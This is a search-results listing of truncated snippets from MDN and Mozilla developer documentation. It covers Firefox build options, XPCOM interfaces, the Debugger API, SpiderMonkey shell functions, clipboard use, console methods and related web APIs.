...e js code, with less of a performance impact compared to the --enable-debug option. you can make an optimized build with debugging symbols. see building firefox with debug symbols. extensions ac_add_options --enable-extensions=default|all|ext1,ext2,-skipext3 there are many optional pieces of code that live in extensions/. many of these extensions are now considered an integral part of the browsing experience. there is a default list of extensions for the suite, and each app-specific mozconfig specifies a different default set. some extensions are not compatible with all apps, for example: cookie is not compatible with thunderbird typeaheadfind is not compatible with any toolkit app (firefox, thunderbird) unless you know which extensions are compatible with which apps, do not u...
...And 2 more matches
Experimental features in Firefox
these nightly builds of firefox typically include experimental or partially-implemented features, including those for proposed or cutting-edge web platform standards. this page lists features that are in nightly versions of firefox along with information on how to activate them, if necessary. you can test your web sites and applications before these features get released and ensure everything will still work with the latest web technology capabilities. to test these experimental features, you need to download firefox nightly or firefox developer edition. ...
...lt. see bug 1057233 for more details. release channel version added enabled by default? nightly 33 no developer edition 33 no beta 33 no release 33 no preference name media.track.enabled dom document property: autoplaypolicy the document property autoplaypolicy returns a string indicating how the browser handles requests to automatically play media (either using the autoplay property on a media element or by attempting to trigger playback from javascript code. the spec for this api is still being written. the value changes over time depending on what the user is doing, their preferences, and the state of the browser in general. potential values include allowed (autoplay is currently permitted),...
...tional lock icon when a page is loaded insecurely (that is, using http rather than https). see bug 1335970 for more details. release channel version added enabled by default? nightly 60 no developer edition 60 no beta 60 no release 60 no preference name security.insecure_connection_text.enabled for normal browsing mode; security.insecure_connection_text.pbmode.enabled for private browsing mode upgrading mixed display content when enabled, this preference causes firefox to automatically upgrade requests for media content from http to https on secure pages. the intent is to prevent mixed-content conditions in which some content is loaded securely while other content is insecure. if the upgrade fai...
...And 2 more matches
Multiple Firefox profiles
ving different profiles would help separate work and personal life, or allow each family member to have his or her own set of bookmarks, settings, and add-ons. web developers might want a secondary profile for testing websites, apps, or other projects on different firefox channels. for example, you might want to have some extensions installed for web development, but not for general-purpose web browsing. while using the nightly channel, you may encounter some add-ons that have become temporarily incompatible with new api changes, until the add-on developer has a chance to update them. you can remove such add-ons from your profile for nightly use while keeping them for use with other profiles. for qa, testing, and bug triaging contributors, you may want to have multiple development versions o...
..., and bug triaging contributors, you may want to have multiple development versions of firefox installed, each with its own profile. creating new profiles for testing can keep you from losing your preferences, bookmarks, and history. it takes little time to set up a new profile, and once it is complete, all of your firefox versions will update separately and can be run simultaneously. available browser development channels there are four available browser channels, each at a different level of stability and development. the four channels are release, beta, developer edition, and nightly. the release channel is recommended for most users, as it is the "official release" channel. however, for those more adventurous, you can try one of the other three channels to see what is coming in firefox a...
...ird-party tools that make working with multiple profiles easy. this list is by no means exhaustive. please add any helpful tools you discover to the list! mac os x multifirefox by dave martorana profile management determining the profile while firefox is running to determine the profile of a currently-running firefox instance in windows, macos or linux, type about:profiles into the browser url search bar. the page presents a list of all of your profiles, each beginning with "profile: " followed by its name. the one being run by this firefox instance will include the bold text "this is the profile in use" for example, if you find that text beneath the entry for "profile: suzie", then you are running in a profile named suzie. launching firefox into a desired profile although i...
...And 2 more matches
Mozilla Quirks Mode Behavior
ments, the selector must include a tag name, id, class or attribute. prior to gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3), there was no class check, so the :hover pseudoclass was not applied to class selectors; for example, .someclass:hover did not work. prior to gecko 36, it also applied to images, and form controls but the quirk has been adapted to match the behavior of other browser (bug 783213). prior to gecko 36, the quirk was also applied if another pseudo-class was used in the same selector, if a pseudo-element was used in the selector, or if it was part of a pseudo-class argument (bug 783213). quirks mode has document.all support (undetected). images (img elements) without alt attributes sometimes display placeholder icons in quirks mode. obsolete since gecko 2.0...
...emoved in firefox 37 and empty-cells also defaults to show in quirks mode (bug 1020400). in quirks mode floated tables never move to the next "line" if they don't fit next to other floats, they just keep widening the page (see bug 43086). to correspond, their width is computed as though only the remaining available space is the containing block width (bug 99461). in quirks mode colspan="0" and rowspan="0" are intentionally not handled as described in html4 (bug 9879). hspace and vspace are supported on table only in quirks mode (bug 41893). proposed to remove: bug 725646. in quirks mode, when tables have a border style of inset or outset, the border color is based on the background color of the table or of the nearest ancestor with non-transparent background. [this may have been an accu...
...n an accurate description when written in june 2001, but it no longer appears correct. i don't follow the code in nscssrenderingborders well enough to tell, though.] in quirks mode a fixed width specified on a table cell resets the nowrap attribute. if the nowrap attribute is present the cell width will never be smaller than the specified fixed width (bug 277232). in quirks mode, tables with no rows/rowgroups have zero height even when a height is specified (bug 241161). something about the overhanging border (i.e., the half of the border that's outside the border-box) in border-collapse tables differs between quirks mode and standards mode. [see nstableframe::getdeflationforbackground and figure out what really differs, and when it started differing.] gecko had bug 248239, where table cel...
...And 2 more matches
TimerFirings logging
line of logging output per timer fired. it's best to redirect this output to a file. the following sample shows the basics of this output. -991946880[7f46c365ba00]: [6775] fn timer (slack 100 ms): layeractivitytracker -991946880[7f46c365ba00]: [6775] fn timer (one_shot 250 ms): presshell::spaintsuppressioncallback -991946880[7f46c365ba00]: [6775] fn timer (one_shot 160 ms): nsbrowserstatusfilter::timeouthandler -991946880[7f46c365ba00]: [6775] iface timer (one_shot 200 ms): 7f46964d7f80 -1340643584[7f46c365ec00]: [6775] obs timer (slack 1000 ms): 7f46a95a0200 each line has the following information. the first two values identify the thread. this is not especially useful. the next value is the process id (pid). this is useful in a multi-process scenario. next ...
...l. interface and observer timers only have an address, which is less useful, but they are uncommon enough that this usually doesn't matter much. the above example shows only timers from c++ within gecko. there are also timers for settimer or setinterval calls in javascript code, as the following sample shows. -991946880[7f46c365ba00]: [6775] fn timer (one_shot 0 ms): [content] chrome://browser/content/tabbrowser.xml:1816:0 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://edition.cnn.com/:5:7231 711637568[7f3219c48000]: [6835] fn timer (one_shot 100 ms): [content] http://a.visualrevenue.com/vrs.js:6:9423 these js timers are annotated with [content] and show the javascript source location where they were created. they can come from chrome code wi...
... it is sometimes useful to pre-process the output by stripping out certain parts of each line before doing this aggregation step, for example, by inserting one or more of the following com...
...And 2 more matches
Creating JavaScript jstest reftests
this directory contains tests of spidermonkey conformance to ecmascript as well as spidermonkey non-standard extenstions to ecmascript. directory overview in the js/src/tests directory, there are a few important subdirectories. ...
...ion to source code) matches an expected value. note that tests which use comparesource should be located in the decompilation sub-suite of a suite. for example, to test the decompilation of a simple function you could write: var f = (function () { return 1; }); expect = 'function () { return 1; }'; actual = f + ''; comparesource(expect, actual, 'decompile simple function'); handling shell or browser specific features jstests run both in the browser and in the javascript shell. if your test needs to use browser-specific features, either: make the test silently pass if those features aren't present; or write a mochitest instead (preferred); or at the top of the test, add the comment // skip-if(xulruntime.shell), so that it only runs in the browser. if your test needs to use shell-s...
... test silently pass if those features aren't present; or write a mochitest instead (preferred); or at the top of the test, add the comment // skip-if(xulruntime.shell), so that it only runs in the browser. if your test needs to use shell-specific features, like gc(), either: make the test silently pass if those features aren't present; or make it a jit-test (so that it never runs in the browser); or at the top of the test, add the comment // skip-if(!xulruntime.shell), so that it only runs in the shell. it is easy to make a test silently pass; anyone who has written js code for the web has written this kind of if-statement: if (typeof gc === 'function') { var arr = []; arr[10000] = 'item'; gc(); asserteq(arr[10000], 'item', 'gc must not wipe out sparse array elemen...
...And 2 more matches
Shell global objects
source notes dis([fun/code]) disassemble functions into bytecodes. disfile('foo.js') disassemble script file into bytecodes. dissrc([fun/code]) disassemble functions with source lines. notes([fun]) show source notes for functions. stackdump(showargs, showlocals, showthisprops) tries to print a lot of information about the current stack. similar to the dumpjsstack() function in the browser. arrayinfo(a1, a2, ...) report statistics about arrays. functions available only if enable_intl_api is defined addintlextras(obj) adds various not-yet-standardized intl functions as properties on the provided object (this should generally be intl itself). the added functions and their behavior are experimental: don't depend upon them unless you're willing to update your code if these ex...
...ames are considered when checking principals. callfunctionfromnativeframe(function) call function with a (c++-)native frame on stack. required for testing that savestack properly handles native frames. callfunctionwithasyncstack(function, stack, asynccause) call function, using the provided stack as the async stack responsible for the call, and propagate its return value or the exception it throws. the function is called with no arguments, and this is undefined. the specified asynccause is attached to the provided stack frame. enabletrackallocations() start capturing the js stack at every allocation. note that this sets an object metadata callback that will override any other object metadata callback that may be set. disabletrackallocations() stop capturing the js stack at every alloca...
...s are supported on this platform. getcompileroptions() return an object describing some of the jit compiler options. isasmjsmodule(fn) returns whether the given value is a function containing "use asm" that has been validated according to the asm.js spec. isasmjsmoduleloadedfromcache(fn) return whether the given asm.js module function has been loaded directly from the cache. this function throws an error if fn is not a validated asm.js module. isasmjsfunction(fn) returns whether the given value is a nested function in an asm.js module that has been both compile- and link-time validated. wasmissupported() returns a boolean indicating whether webassembly is supported on the current device. wasmtexttobinary(str) translates the given text wasm module into its binary encoding. wasmbina...
...And 2 more matches
Retrieving part of the bookmarks tree
kly retrieve a portion of the bookmarks tree. bookmarks are retrieved using the places query system. for more basic bookmarks examples, see manipulating bookmarks using places. get the query and options objects all querying is done through the history service. first, you need to get an empty query and options objects from the history service: var historyservice = components.classes["@mozilla.org/browser/nav-history-service;1"] .getservice(components.interfaces.nsinavhistoryservice); var options = historyservice.getnewqueryoptions(); var query = historyservice.getnewquery(); find the folder you want to get known folder ids are retrieved from the bookmarks service. attributes defined in /toolkit/components/places/public/nsinavbookmarksservice.idl are: bookmarksmen...
...ou want to get known folder ids are retrieved from the bookmarks service. attributes defined in /toolkit/components/places/public/nsinavbookmarksservice.idl are: bookmarksmenufolder, tagsfolder, unfiledbookmarksfolder and toolbarfolder. you can also get folder ids from a previous query. this example will get the id of the bookmarks toolbar: var bookmarksservice = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); var toolbarfolder = bookmarksservice.toolbarfolder; the placesroot is the root folder in the whole places hierarchy. it contains administrative data as well as user data, and is therefore not recommended for use in querying. configure the query to get a hierarchical bookmarks r...
...ng the children of any result container, you must first open it, and then you can iterate the children. as long as the container is open, it will listen for notifications from the bookmarks system to keep itself up-to-date. when you're done, be sure to close the container to free up the resources. otherwise, it will continue to get observer notifications and update itself, slowing down the whole browser. var rootnode = result.root; rootnode.containeropen = true; // iterate over the immediate children of this folder and dump to console for (var i = 0; i < rootnode.childcount; i ++) { var node = rootnode.getchild(i); dump("child: " + node.title + "\n"); } // close a container after using it! rootnode.containeropen = false; if you encounter a node with a type of result_type_folder or anoth...
...And 2 more matches
nsIDOMWindowInternal
void stop() void print() void moveto(in long xpos, in long ypos) void moveby(in long xdif, in long ydif) void resizeto(in long width, in long height) void resizeby(in long widthdif, in long heightdif) void scroll(in long xscroll, in long yscroll) nsidomwindow window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">open(in domstring url, in domstring name, in domstring options) nsidomwindow nsisupports aextraargument) void close() void updatecommands(in domstring action) boolean find([optional...
...urns an object reference to the window object. navigator nsidomnavigator readonly: returns a reference to the navigator object. screen nsidomscreen readonly: returns a reference to the screen object associated with the window. history nsidomhistory readonly: returns a reference to the history object, which provides an interface for manipulating the browser session history. content nsidomwindow readonly: returns a window object for the primary content window. prompter nsiprompt readonly: menubar nsidombarprop readonly: returns the menubar object, whose visibility can be toggled in the window. toolbar nsidombarprop readonly: returns the toolbar object, whose visibility can be toggled i...
.... statusbar nsidombarprop readonly: returns the statusbar object, whose visibility can be toggled in the window. directories nsidombarprop readonly: returns the window directories toolbar object. closed boolean readonly: this property indicates whether the referenced window is closed or not. crypto nsidomcrypto readonly: returns the browser crypto object, which can then be used to manipulate various browser security features. pkcs11 nsidompkcs11 obsolete: this property is not supported in newer versions of firefox. controllers nsicontrollers readonly: returns the xul controllers of the chrome window. opener nsidomwindowinternal returns a reference to the window that opened this current...
...And 2 more matches
nsIDocShell
docshell/base/nsidocshell.idlscriptable ??? need a description here ??? inherits from: nsisupports last changed in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9) implemented by @mozilla.org/docshell;1. do not create an instance directly. instead, retrieve an nsidocshell from a browser or other document container element. note that out-of-process browsers do not have an nsidocshell; instead you can access the nsidocshell object from a frame script. method overview void addsessionstorage(in nsiprincipal principal, in nsidomstorage storage); void addstate(in nsivariant adata, in domstring atitle, in domstring aurl, in boolean areplace); void beginrestore(in nsicontentviewer viewer, in boolean top); void createaboutblankcontentvie...
... are not app tabs unless told otherwise. isexecutingonloadhandler boolean returns true if the docshell is currently executing the onload handler. read only. isinunload boolean find out whether the docshell is currently in the middle of a page transition (after the onunload event has fired, but before the new document has been set up) read only. isoffscreenbrowser boolean if true, this docshell is not visible in the traditional sense, but is being actively rendered to the screen (such as by being painted to a canvas), and should be treated accordingly. layouthistorystate nsilayouthistorystate loadedtransindex long keeps track of the previous shtransaction index and the current shtransaction index at the time that th...
...ve code only! presshell nsipresshell presentation shell for the currently loaded document. this may be null. read only. native code only! previoustransindex long keeps track of the previous shtransaction index and the current shtransaction index at the time that the doc shell begins to load. used for contentviewer eviction. read only. printpreview nsiwebbrowserprint if the current content viewer is not initialized for print preview, it is replaced with one which is and to which an about:blank document is loaded. read only. restoringdocument boolean track whether we're currently restoring a document presentation. read only. securityui nsisecurebrowserui the securebrowserui object for this docshell. this is set by brow...
...And 2 more matches
nsIDownloadManager
nloadsdirectory nsilocalfile returns the platform default downloads directory. read only. listener nsidownloadprogresslistener the download manager's progress listener. obsolete since gecko 1.8 userdownloadsdirectory nsilocalfile returns the user configured downloads directory. the path is dependent on two user configurable prefs set in preferences: browser.download.folderlist defines the default download location for files: 0: files are downloaded to the desktop by default. 1: files are downloaded to the system's downloads folder by default. 2: files are downloaded to the local path specified by the browser.download.dir preference. if this preference is invalid, the download directory falls back to the default. read ...
..._download 0 the download type used by adddownload. is the type for a "generic file download" according to the .idl file. methods adddownload() creates an nsidownload and adds it to the list of activities being managed by the download manager. note: adding a download doesn't automatically begin the transfer. if you want to both add and start a download, you need to create an nsiwebbrowserpersist object, call this method, set the progresslistener to the returned nsidownload object, and then call the nsiwebbrowserpersist.saveuri() method. note: prior to gecko 12.0, this was a synchronous operation; that is, once this method returned, you knew that the download was in the download manager's list. that is no longer the case. adding downloads to the download manager is now an async...
... (a file in which the received data will be stored but is not equal to the target file). the file will be moved to the location indicated by atarget when the download is complete. this may be null. acancelable an object that can be used to abort the download. must not be null. aisprivate indicates whether this download should be considered private (ie. to be removed at the end of the private browsing session, cached in non-permanent storage, etc.) return value the newly created download item with the passed-in properties. addlistener() adds a listener to the download manager. void addlistener( in nsidownloadprogresslistener alistener ); parameters alistener the nsidownloadprogresslistener object to receive status information from the download manager. canceldownload() canc...
...And 2 more matches
nsIFaviconService
toolkit/components/places/public/nsifaviconservice.idlscriptable stores favicons for pages in bookmarks and history. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/favicon-service;1. ...
.../places/public/nsifaviconservice.idlscriptable stores favicons for pages in bookmarks and history. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/favicon-service;1. ...
...ification is dispatched through the observer's service. void expireallfavicons(); parameters none. getfavicondata() obsolete since gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) note: this method was removed in gecko 22.0. you should use the new async api moziasyncfavicons.getfavicondataforpage() instead. this method retrieves the given favicon data. throws an exception if we don't have data. if there is no data but we have an entry for this favicon, adatalen will be "0" and adata will be null. void getfavicondata( in nsiuri afaviconuri, out autf8string amimetype, out unsigned long adatalen, optional from gecko 2.0 [array,retval,size_is(adatalen)] out octet adata ); parameters afaviconuri uri of the favicon whose data is being read...
...And 2 more matches
nsIPrincipal
on); native code only! void setcanenablecapability(in string capability, in short canenable); native code only! boolean subsumes(in nsiprincipal other); attributes attribute type description certificate nsisupports the certificate associated with this principal, if any. if there isn't one, this will return null. getting this attribute never throws. read only. certificateid string the fingerprint id of this principal's certificate. throws if there is no certificate associated with this principal. read only. obsolete since gecko 1.8 commonname string the common name for the certificate. this pertains to the certificate authority organization. throws if there is no certificate associated with this principal. obs...
...csp nsicontentsecuritypolicy a content security policy associated with this principal. native code only! domain nsiuri the domain uri to which this principal pertains. this is congruent with htmldocument.domain, and may be null. setting this has no effect on the uri. native code only! fingerprint autf8string the fingerprint id of this principal's certificate. throws if there is no certificate associated with this principal. read only. hascertificate boolean whether this principal is associated with a certificate. read only. hashvalue unsigned long returns a hash value for the principal. read only. native code only! origin string the origin of this principal's codebase uri. an origin is defined as: scheme + host +...
...gin is defined as: scheme + host + port. read only. prettyname autf8string the pretty name for the certificate. this sort of (but not really) identifies the subject of the certificate (the entity that stands behind the certificate). note that this may be empty; prefer to get the certificate itself and get this information from it, since that may provide more information. throws if there is no certificate associated with this principal. read only. securitypolicy voidptr the domain security policy of the principal. native code only! subjectname autf8string the subject name for the certificate. this actually identifies the subject of the certificate. this may well not be a string that would mean much to a typical user on its own (e.g. it...
...And 2 more matches
nsITextInputProcessor
null. acallback the callback object. if this is not specified, requests to imes are handled automatically. see the document of nsitextinputprocessorcallback for the details. return value returns true if the instance could create composition. otherwise, false. cancelcomposition() cancels the composition which was created by the instance. if you call this when there is no composition, this throws an exception. void cancelcomposition(in nsidomkeyevent adomkeyevent optional, in unsigned long akeyflags optional); parameters adomkeyevent optional when the canceling composition is caused by a key operation, this should be specified. if this is specified, keyboard events may be dispatched when gecko thinks that they should be. see also how to create keyboardevent in...
.... if this is specified, keyboard events may be dispatched when gecko thinks that they should be. see also how to create keyboardevent instance for nsitextinputprocessor. akeyflags optional see key_* constants. if this is not specified, the value is assumed as 0. commitcomposition() commits the composition with the last composition string. if you call this when there is no composition, this throws an exception. void commitcomposition(in nsidomkeyevent adomkeyevent optional, in unsigned long akeyflags optional); parameters adomkeyevent optional when the committing composition is caused by a key operation, this should be specified. if this is specified, keyboard events may be dispatched when gecko thinks that they should be. see also how to create keyboardevent i...
...position which are set by setpendingcompositionstring(), appendclausetopendingcomposition(), and setcaretinpendingcomposition() on the focused editor. if appendclausetopendingcomposition() and/or setcaretinpendingcomposition() are not called properly, e.g., sum of alength of calls of appendclausetopendingcomposition() is not same as composition string set by setpendingcompositionstring(), this throws an exception. after a call of this, the pending composition string information is cleared. therefore, you can set new composition string continuously. boolean flushpendingcomposition(in nsidomkeyevent adomkeyevent optional, in unsigned long akeyflags optional); parameters adomkeyevent optional when the modifying composition is caused by a key operation, this...
...And 2 more matches
nsIWindowWatcher
re created or destroyed, so only a weak reference is kept. note that there is no interface for such notifications (not a public one, anyway). this is taken care of both in mozilla and by common embedding code. embedding clients need do nothing special about that requirement. this component must be initialized at application startup by calling setwindowcreator(). ...
... nsidomwindow; for example, if the active window is an alert. methods getchromeforwindow() retrieve the chrome window mapped to the given dom window. nsiwindowwatcher keeps a list of all top-level dom windows currently open, along with their corresponding chrome interfaces. since dom windows lack a (public) means of retrieving their corresponding chrome, this method will do that. nsiwebbrowserchrome getchromeforwindow( in nsidomwindow awindow ); parameters awindow the nsidomwindow whose chrome window the caller needs. return value an nsiwebbrowserchrome object for the corresponding chrome window getnewauthprompter() return a newly created nsiauthprompt implementation. nsiauthprompt getnewauthprompter( in nsidomwindow aparent ); parameters aparent the parent wind...
...ents as the base type, however id, void and 64-bit primitive types are not currently supported and will reflect into window.arguments as null. nsidomwindow openwindow( in nsidomwindow aparent, in string aurl, in string aname, in string afeatures, in nsisupports aarguments ); parameters aparent the parent window, if any. null if no parent. if it is impossible to get to an nsiwebbrowserchrome from aparent, this method will effectively act as if aparent were null. aurl the url to open in the new window. must already be escaped, if applicable. can be null. aname a window name assigned using window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new window is ...
...And 2 more matches
nsIXULTemplateBuilder
to a rule with the builder's addrulefilter() method. if a result passes a rule's conditions, this is considered a match, and the content within the rule's <action> body is inserted as a sibling of the <template>, assuming the template builder creates real dom content. only one rule will match a result. for a tree builder, for example, the content within the action body is used to create the tree rows instead. a matching result must have its rulematched() method called. when a result no longer matches, the result's hasbeenremoved() method must be called. optionally, the rule may have a <bindings> section which may be used to define additional variables to be used within an action body. each of these declared bindings must be supplied to the query processor via its addbinding() method. the bind...
.... the builder will apply the rules associated with the query to the new result, unless a result with the same id from an earlier query supersedes it, and the result's rulematched() method will be called if it matches. void addresult( in nsixultemplateresult aresult, in nsidomnode aquerynode ); parameters aresult the result to add. aquerynode the query to which the result applies. errors throws ns_error_null_pointer if aresult or aquerynode is null. removeresult() informs the template builder that a result no longer applies. the builder will call the remove content generated for the result, if any. if a different query would then match instead, it will become the active match. this method will have no effect if the result isn't known to the builder. void removeresult( in nsixultempla...
... informs the template builder that a result no longer applies. the builder will call the remove content generated for the result, if any. if a different query would then match instead, it will become the active match. this method will have no effect if the result isn't known to the builder. void removeresult( in nsixultemplateresult aresult ); parameters aresult the result to remove errors throws ns_error_null_pointer if aresult is null replaceresult() inform the template builder that one result should be replaced with another. both the old result (aoldresult) and the new result (anewresult) must have the same id. the query node that the new result applies to must be specified using the aquerynode parameter. this method is expected to have the same effect as calling both removeresult for...
...And 2 more matches
XPCOM Interface Reference by grouping
here that page lists items by alphabetical sorting, this page attempts to group them by function. grouping and category names were made by somewhat arbitrary decision by the author. (i'm fully aware that this will be a great point of discussion and probably will end in tears, but since i'm the first person to apparently take a swing at this, i get first dibs.) the primary sections consist of: browser this section contains elements associated with the view pane or the content of the "browser window" proper. it is wrapped by system, but displayed for convenience. data this section contains data wrappers and core object definitions. security this section contains apis for secure channel communications system this section contains application level interfaces including cal...
...e object definitions. security this section contains apis for secure channel communications system this section contains application level interfaces including calls to external support elements (such as device calls). this is the root element and may contain some functions defined in other groups. user this section contains elements specific to a given user's data storage. ...
... nsixulappinfo nsixulruntime nsixultemplatebuilder nsixultemplatequeryprocessor nsixultemplateresult bookmark livemark nsilivemarkservice nsinavbookmarkobserver nsinavbookmarksservice nsinavhistoryservice browser dom nsiwebbrowser nsiwebbrowserpersist cache nsicache nsicachedeviceinfo nsicacheentrydescriptor nsicacheentryinfo nsicachelistener nsicachemetadatavisitor nsicacheservice nsicachesession nsicachevisitor nsicachingch...
...And 2 more matches
Using the clipboard
u can put anything on the clipboard from text to images. create a transferring object. this object can be the component @mozilla.org/widget/transferable;1 which implements the interface nsitransferable. initialize the transferring object with the nsiloadcontext obtained from the window that is the source of the clipboard data. this ensures that if the copied data comes from a window in private browsing mode, the clipboard will be cleared when private browsing mode ends. for reading from the clipboard you can call the init method of the transferable with null as nsiloadcontext, but you have to call it. tell the transferring object about the type of data being copied. tell the transferring object about the data to copy. create a clipboard object which refers to the system clipboard. tell t...
...e clipboard. first, we need to create an xpcom object to wrap what we want to copy. we'll assume that we want to copy some text. we will use the interface nsisupportsstring which can be used to represent strings (specifically, unicode strings). the following boilerplate utility functions will be used in all later code examples. // import the services module for future use, if we're not in // a browser window where it's already loaded. components.utils.import('resource://gre/modules/services.jsm'); // create a constructor for the built-in supports-string class. const nssupportsstring = components.constructor("@mozilla.org/supports-string;1", "nsisupportsstring"); function supportsstring(str) { // create an instance of the supports-string class var res = nssupportsstring(); // st...
...create a wrapper to construct an nsitransferable instance and set its source to the given window, when necessary function transferable(source) { var res = nstransferable(); if ('init' in res) { // when passed a window object, find a suitable privacy context for it. ...
...And 2 more matches
Debugger.Environment - Firefox Developer Tools
vironment instance for a given environment. this allows the code using each debugger instance to place whatever properties it likes on its own debugger.object instances, without worrying about interfering with other debuggers.) if a debugger.environment instance’s referent is not a debuggee environment, then attempting to access its properties (other than inspectable) or call any its methods throws an instance of error. debugger.environment instances protect their referents from the garbage collector; as long as the debugger.environment instance is live, the referent remains live. garbage collection has no visible effect on debugger.environment instances. accessor properties of the debugger.environment prototype object a debugger.environment instance inherits the following accessor prope...
...ith”, indicating that the environment was introduced by a with statement. parent the environment that encloses this one (the “outer” environment, in ecmascript terminology), or null if this is the outermost environment. object a debugger.object instance referring to the object whose properties this environment reflects. if this is a declarative environment record, this accessor throws a typeerror (since declarative environment records have no such object). both "object" and "with" environments have object properties that provide the object whose properties they reflect as variable bindings. callee if this environment represents the variable environment (the top-level environment within the function, which receives var definitions) for a call to a functionf, then this propert...
......
...And 2 more matches
Debugger.Frame - Firefox Developer Tools
note that frames only become inactive at times that are predictable for the debugger: when the debuggee runs, or when the debugger removes frames from the stack itself. visible frames when inspecting the call stack, debugger does not reveal all the frames that are actually present on the stack: while it does reveal all frames running debuggee code, it omits frames running the debu...
...the javascript engine this frame is executing in: "interpreter": a frame running in the interpreter. "baseline": a frame running in the unoptimizing, baseline jit. "ion": a frame running in the optimizing jit. "wasm": a frame running in webassembly baseline jit. this the value of this for this frame (a debuggee value). for a wasmcall frame, this property throws a typeerror. older the next-older visible frame, in which control will resume when this frame completes. if there is no older frame, this is null. depth the depth of this frame, counting from oldest to youngest; the oldest frame has a depth of zero. live true if the frame this debugger.frame instance refers to is still on the stack; false if it has completed execution or been popped in some...
...y. script the script being executed in this frame (a debugger.script instance), or null on frames that do not represent calls to debuggee code. on frames whose callee property is not null, this is equal to callee.script. offset the offset of the bytecode instruction currently being executed in script, or undefined if the frame’s script property is null. for a wasmcall frame, this property throws a typeerror. environment the lexical environment within which evaluation is taking place (a debugger.environment instance), or null on frames that do not represent the evaluation of debuggee code, like calls non-debuggee functions, host functions or "debugger" frames. callee the function whose application created this frame, as a debuggee value, or null if this is not a "call" frame. generat...
...And 2 more matches
Tutorial: Set a breakpoint - Firefox Developer Tools
this page shows how you can try out the debugger api yourself using firefox’s scratchpad. we use debugger to set a breakpoint in a function, and then evaluate an expression whenever it is hit. this tutorial was tested against firefox 58 beta and nightly. it does not work in firefox 57. since the debugger api is only available to privileged javascript code, you’ll need to use the browser content toolbox to try it out. to do this, open the firefox developer tools, click on the options gear at the upper right of the toolbox, and make sure that both “enable browser chrome and add-on debugging toolboxes” and “enable remote debugging” are checked. these are located at the bottom right of the options panel; you may need to scroll to see them. once they’re checked, you can close ...
...right of the options panel; you may need to scroll to see them. once they’re checked, you can close the developer tools. save the following text to an html file: <div onclick="report('the best div');">click me!</div> <div onclick="report('another great div');">or me!</div> <script> function report(what) { console.log('clicked: ' + what); } </script> visit the html file in your browser, and open the browser content toolbox by opening the firefox menu, choosing “web developer”, and then “browser content toolbox”. if that item doesn’t appear in the “web developer” menu, make sure you checked both boxes to enable the browser content toolbox as explained in step 1. our example code is long enough that the best way to run it is to use the scratchpad panel, whic...
...the scratchpad panel should appear at the top of the toolbox alongside the console, debugger, and memory panels. ...
...And 2 more matches
Using the CSS properties and values API - Web APIs
the css properties and values api — part of the css houdini umbrella of apis — allows the registration of css custom properties, allowing for property type checking, default values, and properties that do or do not inherit their value. registering a custom property registering a custom property allows you to tell the browser how the custom property should behave; what are allowed types, whether the custom property inherits its value, and what the default value of the custom property is. there are two ways to register a property, in javascript or in css. note: the javascript option has working implementations. the css option does not. css.registerproperty the following will register a css custom properties, --my-prop, using css.registerproperty, as a color, give it a default value,...
... @property the same registration can take place in css. ...
...operty, as a color, give it a default value, and have it not inherit its value: @property --my-prop { syntax: '<color>'; inherits: false; initial-value: #c0ffee; } using registered custom properties one of the advantages of registering a property is that the browser now knows how it should handle your custom property through things like transitions! when a property isn't registered, the browser doesn't know how to treat it, so it assumes that any value can be used and therefore can't animate it. when a property has a registered syntax, though, the browser can optimize around that syntax, including being able to animate it! in this example, the custom property --registered has been registered using the syntax <color> and then used in a linear gradient. that property is then transition...
...And 2 more matches
console - Web APIs
Web › API › Console
it's exposed as window.console, and can be referenced as simply console. for example: console.log("failed to open the specified link") this page documents the methods available on the console object and gives a few usage examples. note: this feature is available in web workers. note: the actual console interface is defined as all lower case (i.e. ...
...and it. to move back out a level, call groupend(). console.groupend() exits the current inline group. console.info() informative logging of information. you may use string substitution and additional arguments with this method. console.log() for general output of logging information. you may use string substitution and additional arguments with this method. console.profile() starts the browser's built-in profiler (for example, the firefox performance tool). you can specify an optional name for the profile. console.profileend() stops the profiler. you can see the resulting profile in the browser's performance tool (for example, the firefox performance tool). console.table() displays tabular data as a table. console.time() starts a timer with a name specified as an input parame...
....table() displays tabular data as a table. console.time() starts a timer with a name specified as an input parameter. up to 10,000 simultaneous timers can run on a given page. console.timeend() stops the specified timer and logs the elapsed time in seconds since it started. console.timelog() logs the value of the specified timer to the console. console.timestamp() adds a marker to the browser's timeline or waterfall tool. console.trace() outputs a stack trace. console.warn() outputs a warning message. you may use string substitution and additional arguments with this method. examples outputting text to the console the most frequently-used feature of the console is logging of text and other data. there are four categories of output you can generate, using the console.log(), c...
...And 2 more matches
DOMMatrixReadOnly.scale() - Web APIs
en factor, centered on the origin given. the original matrix is not modified. if a scale is applied about the z-axis, the resulting matrix will be a 4x4 3d matrix. note: at time of writing, firefox still supports an older version of the specification that accepts either one or three values. dommatrix.scale(scale[, originx][, originy]) we'll show an example of how you can deal with the cross-browser support implications of this in the examples section, below. examples this svg contains three squares, one red, one blue, and one green, each positioned at the document origin: <svg width="250" height="250" viewbox="0 0 25 25"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> <rect id="transformedorigin" width="25" height="25" fil...
...document origin: <svg width="250" height="250" viewbox="0 0 25 25"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> <rect id="transformedorigin" width="25" height="25" fill="green" /> </svg> this javascript first creates an identity matrix, then uses the scale() method to create a new matrix with a single parameter. we test if the browser supports a six parameter scale() method by creating a new matrix using three parameters and observing it's is2d property — if this is false then the third parameter has been accepted by the browser as a scalez parameter, making this a 3d matrix. we then create a new matrix scaled about a given origin, using either three or six parameters depending on the browser support. these new matrices ...
